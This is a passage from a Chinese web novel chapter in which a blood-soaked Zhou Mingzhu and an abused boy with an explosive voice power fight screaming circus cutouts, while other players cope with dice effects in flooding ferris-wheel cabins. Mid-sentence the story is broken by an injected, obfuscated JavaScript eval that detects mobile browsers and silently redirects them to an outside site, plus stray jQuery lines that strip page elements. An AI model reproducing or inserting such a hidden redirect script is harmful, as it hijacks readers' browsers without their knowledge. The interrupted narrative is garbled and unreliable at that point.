南雪寻面无表情地给了花球一脚。
无事发生。
这颗球似乎只要昼明烛一个人。
*
酒瓶倒地,厨房的挂钟淌着鲜血。
小男孩坐在地板上,指甲抠着瓷砖缝隙里蜿蜒的红线,那是妈妈离开时打翻的番茄酱。
此刻它们正在月光下蠕动,宛若男人布满血丝的眼球。
冰箱的运作声突然中断,寂静中皮革摩擦声由远及近。外卖餐盒散发出的酸腐味混入了熟悉的酒精发酵气息,他瑟缩了一下身子,终于,沾着油渍的拖鞋出现在了视野边缘。
男人每次喝完酒都会将怒气宣泄于他。
他又要挨打了。
小心翼翼地咽了口唾沫,男人停在他的身前。内心幻想的恐惧加持下,对方的身形要比以往更加高壮。
爸爸其实对他很好,只要不喝酒,只要是在白天,只要妈妈还在他身边。
如果有人能带他离开这里就好了。
男人一脚踹了过来,小男孩不敢躲,只是紧紧地闭上了眼睛。
然而,预想的疼痛并没有抵达。
他睁开眼睛,发现男人的动作停滞在了半空中,像是被按下了暂停键,形象滑稽可笑。
四周的场景正在如白巧克力般渐渐融化,家具消失,墙壁倒塌。
取而代之的是一圈怪异的卡通立牌。他来到了一个马戏团帐篷里,穹顶下悬挂着精巧的弧形灯架,玻璃球灯欢快地旋转着,折射出璀璨的光芒撒向舞台。
立牌形象各异,有白发苍苍的老人,表情酷酷的小女孩,不苟言笑的女人……十一个怪奇的等身立牌围绕在身边,足以称得上童年噩梦,好像是从家庭伦理剧来到了□□惊悚片。
红白条纹的木质舞台上站着一个人,面朝向他时,他才辨识出来,是那个总是嬉皮笑脸的大哥哥。
猩红的液体自地毯渗出,那个哥哥浑身是血,散乱的白发同样血色斑驳,仿佛寒假后学校门口的雪中落梅。
注意到孩子,他一怔,而后明白过来,咧嘴笑了笑:“抱歉啊,好像让你串台了,你原本的世界被我融了。”
血液沿手背淌到枪上。
小男孩没听明白。
他发现这个哥哥身上被开了十几个洞,血像关不住的水龙头似的涌出,可哪怕这种时候,他仍然在满不在乎地笑。
“哥哥,你流了好多血。”
“嗯?没事,我不会死。”昼明烛顶着张血脸安抚小孩:“我自己射的。”
“为什么?”小孩呆住了。
“碰到那个花球后,我们就被传送到这个鬼地方了。”他蹲下身,平视着孩子的眼睛:“我猜这里会把我们害怕的东西变成真的。这儿正好有这东西……”
他掂了掂手中的枪,“刚才我就是想试试看能不能用这种方式离开,可惜行不通。”
小孩大为震撼,目光在昼明烛身上十几个血窟窿间来回游移——自杀需要开这么多枪吗?
这时,周围的十一个立牌突然尖叫了起来。
“杀了我!”
“杀了我!”
“杀了我!”
十一道属于不同年龄段的尖锐声线刺入耳膜,小孩慌乱地捂住耳朵,看向昼明烛。
有什么东西变了。
他的嘴角明明是上扬着,眼神却冰冷至极:“这么着急找死?”
那群立牌的叫声还在重复,旋绕在耳边格外吵闹。昼明烛的面上闪过一丝戾气,低低开口道:“呵,我把自己打成马蜂窝都没用……”
【我不打算杀你。】
摩天轮里那个耳熟的男声倏地响起。
昼明烛翻了个白眼:“我身上有什么值得你惦记的?”
对方没音儿了。
他把手枪丢一边,随手捡起一把地上的机关枪。密集的子弹如暴雨般倾泻而出。枪口喷吐着火舌,炽热的弹壳不断在地毯上弹跳。
枪身剧烈震动,后坐力让他的手臂微微发麻。子弹穿透了近处的立牌,木屑和碎片四处飞溅,目标被打得千疮百孔。
那些立牌就像打不死的小强,被刺激后朝他们前仆后继地袭来。
他的手指依旧稳稳地扣在扳机上,弹链飞速滑动,枪声几乎要盖过立牌的尖叫。
“杀了我!”
砰——
其中一个立牌发生了爆炸,嘴巴炸成四分五裂的花。
这不是昼明烛打出来的子弹,他有点意外地看了眼小孩。
“这是我的异能。”小孩小声解释。
【上课时的悄悄话:魏小云是一个性格腼腆的小朋友,哪怕是上老师不在的自由绘画课,他也不敢开口和同桌讲悄悄话。如果有什么东西发出了响声,在他耳中不亚于一场爆炸——结果,某天它真的炸了。】
【限制:长时间使用异能会损伤声带。】
十分好用的异能。将声音用作炸药,他可以炸毁一切能发出声音的东西。
“不错的本事。”昼明烛夸了句。
马戏团内弥漫着硝烟气味,怪物叫声震耳欲聋。有了小孩异能的辅助,两人势如破竹,将一张张立牌击碎,最终只剩下余音在耳边回荡。
“哥哥你害怕马戏团里的立牌吗?”小孩喘着气问他。
“可能是?”昼明烛扣了扣身上的血窟窿:“不过比起害怕,我更多感觉到的是……愤怒。”
“愤怒?”
昼明烛说:“它丑化了一些我认识的人。”
他随手提溜起一张破破烂烂的立牌,上边印的是个卡通画风的小女孩,栗色头发,眼睛大得夸张,嘴巴撇向一边,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567588|171459||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
面上的表情很酷,一股少年老成的气质。
她的眼睛被机关枪嘣掉了一只,脸上挂着四五个大窟窿,残废程度和昼明烛有的一拼。
“这我亲妹,小屁孩一个。”他轻松道。
小孩不理解他为什么还在笑,明明整只手都在发抖。
*
昼明烛消失的第四十九秒,南雪寻不疾不徐地抛下了骰子。
诗人和沈天石仍在大笑,轿厢里充满了快活的空气。南雪寻瞥了眼他俩涨红的脸,觉得他俩撑不长久了。
骰子掷下,在轿厢地板上骨碌碌地转动,停在上边的那一面是哀。
轿厢的两人笑声戛然而止,表情重新恢复了正常。
这两个效果居然抵消了。
沈天石不可思议地摸了摸笑僵的脸:“噫,我不笑了!!”
诗人则像条搁浅的鱼一样大口喘气。再这样没完没了地笑下去,他俩以后没准会面瘫。
沈天石灵机一动:“既然喜和哀可以抵消,那雨和火能不能抵消?”
诗人感觉有些道理。
他们底下的苏琐秋和女孩已经水漫金山,淹过了喉咙。
苏琐秋长得高,站直身体还能再坚持一会儿。女孩却没有那么幸运了,这满厢的水于她而言像潜水似的,咕嘟咕嘟冒出一串泡。
女孩踮起脚尖,泡在水里艰难地问苏琐秋:“你穿袜子了吗?”
苏琐秋立即会意,在水下摸索着把袜子脱给她。
女孩接住吸饱了水的白袜,如获至宝。她感激地看向苏琐秋:“你可以把——”
话说一半,她突然想到两人是你死我活的对抗关系。
“没问题,我把你举过头顶。”苏琐秋却是接过了她的话。
“谢谢谢谢太感谢了!”
女孩立即变成一只袜子,沉甸甸地要往水底沉去,苏琐秋快速捞起她来,胳膊一绷。
她没想到这只袜子这么重。
徒手捞起百来斤的袜子并且举过头顶不是件容易的事。她咬咬牙,腰部在水中发力,双手举起袜子。
袜子呛了好几口水,边咳边道谢。
姑且先这样吧……
苏琐秋想着。他们进入副本时间太短,还看不出什么破解方法。
杀人是不可能的,她不想和无辜的孩子挣个鱼死网破。何况另三个轿厢里的人也没有自相残杀。
与此同时,沈天石成功投掷,或者说直接在地上摆出一个“火”字。
“这样算数吗?”诗人将信将疑。
他眼睁睁地看着沈天石把这一面朝上,稳稳当当地立在了地板上。
沈天石道:“试试呗!试试又不会掉块肉。”
底下泡水的苏琐秋身躯猛地一震。
等等,这水怎么热起来了?